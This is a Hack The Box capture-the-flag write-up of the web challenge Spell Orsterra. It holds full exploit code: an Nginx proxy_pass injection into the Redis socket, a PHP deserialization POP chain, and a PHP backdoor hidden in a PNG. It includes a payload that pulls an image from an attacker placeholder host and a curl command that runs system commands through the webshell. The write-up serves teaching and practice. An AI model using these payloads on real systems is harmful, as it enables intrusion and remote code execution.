Write-Ups

14 min read

Uni CTF 2022: UNIX socket injection to custom RCE POP chain - Spell Orsterra

This blog post will cover the creator's perspective, challenge motives, and the write-up of the web challenge Spell Orsterra from UNI CTF 2022.

Rayhan0x01,
Dec 30
2022

Challenge summary 📄

The challenge portrays a fictional application with a heavy tech stack and involves exploiting Nginx UNIX socket injection, queued message handling deserialization, and custom POP chain to export PHP backdoor with PHP-GD image compression bypass.

🎮 PLAY THE TRACK

Challenge motives 🧭

The challenge showcased attack vectors based on recent research articles and a custom exploit chain to give players room to do their own research and think out of the box.

The exploit chain started with a simple UNIX socket injection in the reverse proxy leading to Redis injection. With Redis in use as an asynchronous message-handling transport, players were expected to research and find a deserialization sink and custom gadget chain to gain remote code execution.

Challenge write-up ✍️

Unlike traditional web challenges, we have provided the entire application source code. So, along with black-box testing, players can take a white-box pentesting approach to solve the challenge. We’ll go over the step-by-step challenge solution from our perspective on how to solve it.

Application at-a-glance 🕵️

The application homepage displays a login form. Since the application source code is provided, we can see from the challenge/migrations/db.sql file that the login credentials are admin:admin. After logging in, we are redirected to the following dashboard page:

If we click on one of the highlighted marks on the map, we get a pop-up to subscribe via email for live tracking updates:

Submitting a valid image reloads the webpage, and we can see a circular spell animation on the mark:

Visiting the "Exports" link from the top navigation bar, we can see a table with a record of our submitted email:

After a couple of minutes, the "Not Exported Yet" message is changed with a hyperlink to an image file:

The exported map image contains the location mark and some additional info as a watermark:

That is pretty much all the features of this application.

Application stack overview 🧩

From the config/supervisord.conf file, the challenge host is running 4 separate programs:

[program:apache2]
command=httpd -D FOREGROUND
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
 
[program:nginx]
command=nginx -g 'daemon off;'
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
 
[program:redis]
user=redis
command=redis-server /etc/redis.conf
autostart=true
logfile=/dev/null
logfile_maxbytes=0
 
[program:messenger-worker]
command=/worker.sh
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

The apache2 program serves the Symfony framework PHP web application from /www on port 8080 as specified in the config/httpd.conf file:

<VirtualHost *:8080>
   ServerName orsterra.local
   ServerAlias orsterra.local
 
   DocumentRoot /www/public
   <Directory /www/public>
       AllowOverride All
       Require all granted
   </Directory>
 
   ErrorLog /dev/stderr
   CustomLog /dev/stdout combined
</VirtualHost>

The nginx program is used as the reverse proxy for the web application. Additional directives are also included from the config/proxy.conf file as specified in the config/nginx.conf file:

server {
   listen 80;
   server_name _;
 
   include conf.d/proxy.conf;
 
   location / {
       try_files $uri @app;
   }
 
   location @app {
       proxy_pass http://localhost:8080;
       proxy_http_version 1.1;
       proxy_set_header Upgrade $http_upgrade;
       proxy_set_header Connection 'upgrade';
       proxy_set_header Host $host;
       proxy_cache_bypass $http_upgrade;
       proxy_set_header X-Forwarded-For $remote_addr;
   }
 
}

The redis program is running Redis on port 6379 and has a UNIX socket located in /run/redis/redis.sock as specified in the config/redis.conf file:

 
bind 127.0.0.1
protected-mode no
port 6379
 
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command CONFIG ""
rename-command MODULE ""
rename-command SCRIPT ""
rename-command FLUSHALL ""
rename-command FLUSHDB  ""
 
tcp-backlog 511
 
unixsocket /run/redis/redis.sock
unixsocketperm 775
 
...snip...

The messenger-worker program is running a bash script located in /worker.sh that periodically runs the Messenger queued message handler service and deletes existing messages in the Redis database:

#!/bin/ash
 
chmod 0700 /worker.sh
 
while true; do
   php81 /www/bin/console messenger:consume SendMailTransport --time-limit=60 -vv
   echo "DEL messages" | redis-cli
done

Redis execution via socket injection 💉

The config/proxy.conf file defines several Nginx location directives to proxy resources from the server side:

# Proxy resources via server for Privacy of Users and GDPR Compliance
 
location ~ /assets/googleapis {
   rewrite ^/assets/googleapis/(.+)$ /$1 break;
 
   resolver 1.1.1.1 ipv6=off valid=30s;
   proxy_set_header Accept-Encoding "";
   proxy_pass http://fonts.googleapis.com;
   proxy_set_header Host "fonts.googleapis.com";
   proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";
 
   sub_filter_once off;
   sub_filter_types text/css;
   sub_filter "http://fonts.gstatic.com" "/assets/gstatic";
}
 
location ~ /assets/gstatic {
   rewrite ^/assets/gstatic/(.+)$ /$1 break;
 
   resolver 1.1.1.1 ipv6=off valid=30s;
   proxy_set_header Accept-Encoding "";
   proxy_pass http://fonts.gstatic.com;
   proxy_set_header Host "fonts.gstatic.com";
   proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";
}
 
location ~ /assets/(.+)/ {
   rewrite ^/assets/(.+)$ /$1 break;
 
   resolver 1.1.1.1 ipv6=off valid=30s;
   proxy_set_header Accept-Encoding "";
   proxy_pass http://$1;
   proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";
 
   proxy_intercept_errors on;
   error_page 301 302 307 = @handle_redirects;
 
   sub_filter_once off;
   sub_filter_types text/css;
   sub_filter "http://$1" "/assets/$1";
   sub_filter "https://$1" "/assets/$1";
}
 
location @handle_redirects {
   resolver 1.1.1.1 ipv6=off valid=30s;
 
   set $original_uri $uri;
   set $orig_loc $upstream_http_location;
 
   proxy_pass $orig_loc;
}

The first two directives are for Google fonts, and the third directive tries to cover any hosts specified after the /assets/ path. We can see such a use case in the challenge/views/admin.html file where the FontAwesome stylesheet is being proxied through the challenge host:

<link rel="stylesheet" href="/assets/pro.fontawesome.com/releases/v5.14.0/css/all.css" integrity="sha384-VhBcF/php0Z/P5ZxlxaEx1GwqTQVIBu4G4giRWxTKOCjTxsPFETUDdVL5B6vYvOt" crossorigin="anonymous">

This also means we can perform SSRF via this endpoint as we have direct input on the proxy_pass directive. We can quickly test this in Burp-Suite:

The proxy_pass feature in Nginx also supports proxying requests to local UNIX sockets as highlighted in the following Detectify blog post:

The blog post describes in detail how we can leverage the proxy_pass feature to achieve arbitrary Redis command execution. Sending the following payload via Burp Suite creates a new entry in the Redis database:

EVAL /assets/unix:%2frun%2fredis%2fredis.sock:%22return%20redis.call('set','redis_injection',1)%22%200%20/ HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0
Accept: */*

We can get inside our locally running challenge container instance and manually verify the Redis command execution was successful:

Now that we have Redis command execution, we can try common Redis attack vectors for RCE, but reading the config/redis.conf file shows that many of the sensitive commands are disabled, preventing the client from executing them:

bind 127.0.0.1
protected-mode no
port 6379
 
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command CONFIG ""
rename-command MODULE ""
rename-command SCRIPT ""
rename-command FLUSHALL ""
rename-command FLUSHDB  ""

Since we can't directly leverage those sensitive commands for RCE, we can look for what else is stored in the Redis service that we might be able to manipulate and exploit further.

PHP messenger component deserialization 🐘

We already discovered from the environment variables that the Redis service is being used as a transport by the Messenger component provided by the Symfony framework. The Messenger component helps applications send and receive messages to/from other applications or via message queues:

From the challenge/config/packages/messenger.yaml file, we can see the options configured:

# config/packages/messenger.yaml
framework:
   messenger:
       transports:
           SendMailTransport: "%env(MESSENGER_TRANSPORT_DSN)%"
 
       routing:
           'App\Message\SubscribeNotification': SendMailTransport

As per documentation, the default serializer value is set to Redis::SERIALIZER_PHP.
Checking the messenger/Transport/Serialization/PhpSerializer.php file from the GitHub repository of Messenger, we can see there is a native PHP unserialize() call inside the safelyUnserialize function:

private function safelyUnserialize(string $contents)
   {
       if ('' === $contents) {
           throw new MessageDecodingFailedException('Could not decode an empty message using PHP serialization.');
       }
 
       $signalingException = new MessageDecodingFailedException(sprintf('Could not decode message using PHP serialization: %s.', $contents));
       $prevUnserializeHandler = ini_set('unserialize_callback_func', self::class.'::handleUnserializeCallback');
       $prevErrorHandler = set_error_handler(function ($type, $msg, $file, $line, $context = []) use (&$prevErrorHandler, $signalingException) {
           if (__FILE__ === $file) {
               throw $signalingException;
           }
 
           return $prevErrorHandler ? $prevErrorHandler($type, $msg, $file, $line, $context) : false;
       });
 
       try {
           $meta = unserialize($contents);
       } finally {
           restore_error_handler();
           ini_set('unserialize_callback_func', $prevUnserializeHandler);
       }
 
       return $meta;
   }

The safelyUnserialize function is called from the decode function of the same class that parses an $encodedEnvelope object and decodes content of the body  key from base64 encoding if it doesn't end with  the } character:

public function decode(array $encodedEnvelope): Envelope
   {
       if (empty($encodedEnvelope['body'])) {
           throw new MessageDecodingFailedException('Encoded envelope should have at least a "body", or maybe you should implement your own serializer.');
       }
 
       if (!str_ends_with($encodedEnvelope['body'], '}')) {
           $encodedEnvelope['body'] = base64_decode($encodedEnvelope['body']);
       }
 
       $serializeEnvelope = stripslashes($encodedEnvelope['body']);
 
       return $this->safelyUnserialize($serializeEnvelope);
   }

From the symfony/redis-messenger/blob/6.1/Transport/RedisReceiver.php file responsible for receiving the encoded payload from the Redis service, we can see how an Envelope object is structured and passed to the decode function of the PhpSerializer class:

class RedisReceiver implements ReceiverInterface
{
   private Connection $connection;
   private SerializerInterface $serializer;
 
   public function __construct(Connection $connection, SerializerInterface $serializer = null)
   {
       $this->connection = $connection;
       $this->serializer = $serializer ?? new PhpSerializer();
   }
 
   /**
    * {@inheritdoc}
    */
public function get(): iterable
   {
       $message = $this->connection->get();
 
       if (null === $message) {
           return [];
       }
 
       $redisEnvelope = json_decode($message['data']['message'] ?? '', true);
 
       if (null === $redisEnvelope) {
           return [];
       }
 
       try {
           if (\array_key_exists('body', $redisEnvelope) && \array_key_exists('headers', $redisEnvelope)) {
               $envelope = $this->serializer->decode([
                   'body' => $redisEnvelope['body'],
                   'headers' => $redisEnvelope['headers'],
               ]);
           } else {
               $envelope = $this->serializer->decode($redisEnvelope);
           }
       }
       ...snip...

To reach the PHP unserialize() call when the worker collects the messages from the Redis transport, we can inject a valid Envelope message into the Redis service with the following command:

XADD messages * message '{"body":"BASE64_ENCODED_SERIALIZED_PAYLOAD","headers":[]}'

We can send the above command to Redis via our SSRF payload for further exploitation. For the next step, we need to find a POP chain to leverage this unserialize() call.

Finding a custom POP chain 🔍

To find potential POP chains, we can search for the PHP Magic Methods in the code base, which leads to the SubscribeNotificationHandler class from the challenge/src/MessageHandler/SubscribeNotificationHandler.php file:

class SubscribeNotificationHandler implements MessageHandlerInterface
{
   public $email;
   public $uuid;
   public $export_file;
   public $x_coordinate;
   public $y_coordinate;
 
   public $map = 'http://localhost/static/images/clean_map.png';
   public $stamp = 'http://localhost/static/images/stamp.png';
 
   public function __invoke(SubscribeNotification $notification)
   {
       $this->email = $notification->getEmail();
       $this->uuid = $notification->getUUID();
       $this->x_coordinate = $notification->getXCoordinate();
       $this->y_coordinate = $notification->getYCoordinate();
 
       $this->export_file = md5($this->uuid) . '.png';
   }
 
   public function __destruct()
   {
       $exportMap = new MapExportService(
           $this->uuid,
           $this->map,
           $this->stamp,
           $this->export_file,
           $this->x_coordinate,
           $this->y_coordinate
       );
 
       $exportMap->generateMap();
 
       $mapImage = $exportMap->getExportedMap();
 
       $email_content = '
       <div style="background: #006b86; color: #fff; margin:0; padding: 0;">
           <p>&nbsp;</p>
           <p style="text-align: center;"><strong>Live Tracker Update</strong></p>
           <p style="text-align: center;">&nbsp;</p>
       </div>
       <img src="data:image/png;base64,'.$mapImage.'" style="width:100%; margin:0; padding: 0;">
       <div style="background: #0a7191; color: #fff">
           <p>&nbsp;</p>
           <p style="text-align: center;"><strong>&copy; Spell Orsterra</strong></p>
           <p>&nbsp;</p>
       </div>
       ';
 
       @mail($this->email, 'Live Tracker Update', $this->body);
   }
}

We know that the __destruct() method of a class is automatically called when there are no other references to that particular object left or if the execution reaches the end of the script. Luckily for us, a new class instance MapExportService is created with multiple public class variables inside the __destruct() method that we can override via deserialization. Reviewing the MapExportService class from challenge/src/Service/MapExportService.php file, we can see we have an arbitrary file write as defined in generateMap() function:

public function generateMap()
    {
        // Fetch resources
        $mapFile = $this->fetch_image($this->map_url);
        $stampFile = $this->fetch_image($this->stamp_url);
        if (!$this->is_image($mapFile) || !$this->is_image($stampFile)) return false;
        // Create Image instances
        $map = imagecreatefrompng($mapFile);
        $stamp = imagecreatefrompng($stampFile);
        // add stamp to the tracker coordinates
        imagecopymerge(
        ... snip ...
        );
        // create watermark with details
        $stamp = imagecreatetruecolor(420, 115);
       ... snip ...
        // Merge the stamp onto our map
        imagecopymerge($map, $stamp, imagesx($map) - 450, 10, 0, 0, imagesx($stamp), imagesy($stamp), 50);
        // Save exported map
        $savePath = '/www/public/static/exports/' . $this->export_file;
        imagepng($map, $savePath);
    }

Since we can control the $this->map_url and the $this->export_file variable, we can export an arbitrary PHP file to get Remote Code Execution. The problem is that the arbitrary PHP file has to be a valid PNG image file and survive the modifications and compressions performed by the PHP-GD functions imagecopymerge and imagepng. Looking for  PHP-GD compression bypass, we come across several blog posts such as the Synacktiv article and the encoding-web-shells-in-png-idat-chunks article that dates back to 2012:

The generated image that contains a PHP backdoor in IDAT chunks is suitable for our use case. We can now create a dummy implementation of the SubscribeNotificationHandler class to generate the serialized payload:

<?php
  
namespace App\MessageHandler
{
   class SubscribeNotificationHandler
   {
       public $email;
       public $uuid;
       public $export_file;
       public $x_coordinate;
       public $y_coordinate;
       public $map;
       public $stamp = 'http://localhost/static/images/stamp.png';
   }
}
 
namespace main
{
   $remotePNG = 'http://[attacker_controlled_server]/backdoored.png';
 
   $obj = new \App\MessageHandler\SubscribeNotificationHandler;
   $obj->map = $remotePNG;
   $obj->email = "[email protected]";
   $obj->uuid = '12345';
   $obj->export_file = 'rh0x01.php';
   $obj->x_coordinate = '120';
   $obj->y_coordinate = '230';
 
   $ser = serialize($obj);
 
   echo $ser;
}

Executing the above script gives us the following serialized payload that would trigger the RCE if passed to an unserialize() call where the SubscribeNotificationHandler class is present:

Exploiting deserialization via message queue 📥

Now that we have a working POP chain and user input on a PHP unserialize()  call, all that's left is to properly format the payload and inject a queue message on the Redis transport for the Messenger worker to consume. We can modify the PHP exploit script to format the payload into an Envelope array object along with the Redis command:

<?php
  
namespace App\MessageHandler
{
   class SubscribeNotificationHandler
   {
       public $email;
       public $uuid;
       public $export_file;
       public $x_coordinate;
       public $y_coordinate;
       public $map;
       public $stamp = 'http://localhost/static/images/stamp.png';
   }
}
 
namespace main
{
   $remotePNG = 'http://[attacker_controlled_server]/backdoored.png';
 
   $obj = new \App\MessageHandler\SubscribeNotificationHandler;
   $obj->map = $remotePNG;
   $obj->email = "[email protected]";
   $obj->uuid = '12345';
   $obj->export_file = 'hack.php';
   $obj->x_coordinate = '120';
   $obj->y_coordinate = '230';
 
   $ser = serialize($obj);
 
   $ser = str_replace("\\","\\\\", $ser);
 
   $arr = array("body" => base64_encode($ser), "headers" => []);
 
 
   $socket = urlencode("/run/redis/redis.sock");
   $evalPayload = '\'return redis.call("XADD","messages","*","message", "'. preg_replace('/"/','\\"', json_encode($arr)) .'")\' 0 ';
   $evalPayload = preg_replace('/ /', '%20', $evalPayload);
 
   echo "/assets/unix:$socket:$evalPayload/";
}

Executing the above script gives us the properly formatted payload that we can pass as the request path with EVAL verb for Redis command execution:

/assets/unix:%2Frun%2Fredis%2Fredis.sock:'return%20redis.call("XADD","messages","*","message",%20"{\"body\":\"Tzo0NzoiQXBwXFxNZXNzYWdlSGFuZGxlclxcU3Vic2NyaWJlTm90aWZpY2F0aW9uSGFuZGxlciI6Nzp7czo1OiJlbWFpbCI7czoxMzoidGVzdEB0ZXN0LmNvbSI7czo0OiJ1dWlkIjtzOjU6IjEyMzQ1IjtzOjExOiJleHBvcnRfZmlsZSI7czo4OiJoYWNrLnBocCI7czoxMjoieF9jb29yZGluYXRlIjtzOjM6IjEyMCI7czoxMjoieV9jb29yZGluYXRlIjtzOjM6IjIzMCI7czozOiJtYXAiO3M6NTA6Imh0dHA6Ly9bYXR0YWNrZXJfY29udHJvbGxlZF9zZXJ2ZXJdL2JhY2tkb29yZWQucG5nIjtzOjU6InN0YW1wIjtzOjQwOiJodHRwOi8vbG9jYWxob3N0L3N0YXRpYy9pbWFnZXMvc3RhbXAucG5nIjt9\",\"headers\":[]}")'%200%20/

We can now execute the above Redis command via the Nginx proxy_pass injection request:

EVAL /assets/unix:%2Frun%2Fredis%2Fredis.sock:'return%20redis.call("XADD","messages","*","message",%20"{\"body\":\"Tzo0NzoiQXBwXFxNZXNzYWdlSGFuZGxlclxcU3Vic2NyaWJlTm90aWZpY2F0aW9uSGFuZGxlciI6Nzp7czo1OiJlbWFpbCI7czoxMzoidGVzdEB0ZXN0LmNvbSI7czo0OiJ1dWlkIjtzOjU6IjEyMzQ1IjtzOjExOiJleHBvcnRfZmlsZSI7czo4OiJoYWNrLnBocCI7czoxMjoieF9jb29yZGluYXRlIjtzOjM6IjEyMCI7czoxMjoieV9jb29yZGluYXRlIjtzOjM6IjIzMCI7czozOiJtYXAiO3M6NTA6Imh0dHA6Ly9bYXR0YWNrZXJfY29udHJvbGxlZF9zZXJ2ZXJdL2JhY2tkb29yZWQucG5nIjtzOjU6InN0YW1wIjtzOjQwOiJodHRwOi8vbG9jYWxob3N0L3N0YXRpYy9pbWFnZXMvc3RhbXAucG5nIjt9\",\"headers\":[]}")'%200%20/ HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0
Accept: */*
 

We know the Messenger worker is running in the background as specified in the challenge/config/worker.sh, which consumes the messages from the Redis transport named SendMailTransport:

#!/bin/ash
 
chmod 0700 /worker.sh
 
while true; do
   php81 /www/bin/console messenger:consume SendMailTransport --time-limit=60
   echo "DEL messages" | redis-cli
done

After our injected message is consumed, the insecure deserialization is triggered, and we can confirm the exploit worked by visiting the /static/exports/hack.php path to confirm the file exists:

We can issue arbitrary commands to execute with our newly added PHP backdoor:

curl -s "http://127.0.0.1:1337/static/exports/hack.php?0=system" -d "1=id"  | hexdump -C  
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 37 00 00 00 37  08 02 00 00 00 27 b9 45  |...7...7.....'.E|
00000020  11 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
00000030  c4 01 95 2b 0e 1b 00 00  01 23 49 44 41 54 68 81  |...+.....#IDATh.|
00000040  63 5c 75 69 64 3d 31 30  30 28 61 70 61 63 68 65  |c\uid=100(apache|
00000050  29 20 67 69 64 3d 31 30  31 28 61 70 61 63 68 65  |) gid=101(apache|
00000060  29 20 67 72 6f 75 70 73  3d 38 32 28 77 77 77 2d  |) groups=82(www-|
00000070  64 61 74 61 29 2c 31 30  31 28 61 70 61 63 68 65  |data),101(apache|
00000080  29 2c 31 30 31 28 61 70  61 63 68 65 29 0a 75 69  |),101(apache).ui|
00000090  64 3d 31 30 30 28 61 70  61 63 68 65 29 20 67 69  |d=100(apache) gi|
000000a0  64 3d 31 30 31 28 61 70  61 63 68 65 29 20 67 72  |d=101(apache) gr|
000000b0  6f 75 70 73 3d 38 32 28  77 77 77 2d 64 61 74 61  |oups=82(www-data|
000000c0  29 2c 31 30 31 28 61 70  61 63 68 65 29 2c 31 30  |),101(apache),10|
000000d0  31 28 61 70 61 63 68 65  29 58 20 20 f0 0b cf 9c  |1(apache)X  ....|
000000e0  d7 2d 0f 6f 4c 61 fe aa  37 dd 43 3f e0 c1 05 a6  |.-.oLa..7.C?....|
000000f0  93 8c 46 2b 6d 62 36 4a  e6 e5 6c e4 7e 78 4d 5c  |..F+mb6J..l.~xM\|
00000100  a6 5f 5a 84 81 81 c1 66  b5 38 93 fc 8f 8b db 7e  |._Z....f.8.....~|
... snip ...

The challenge flag can be read by executing the binary file /readflag.

 

Hack The Blog

The latest news and updates, direct from Hack The Box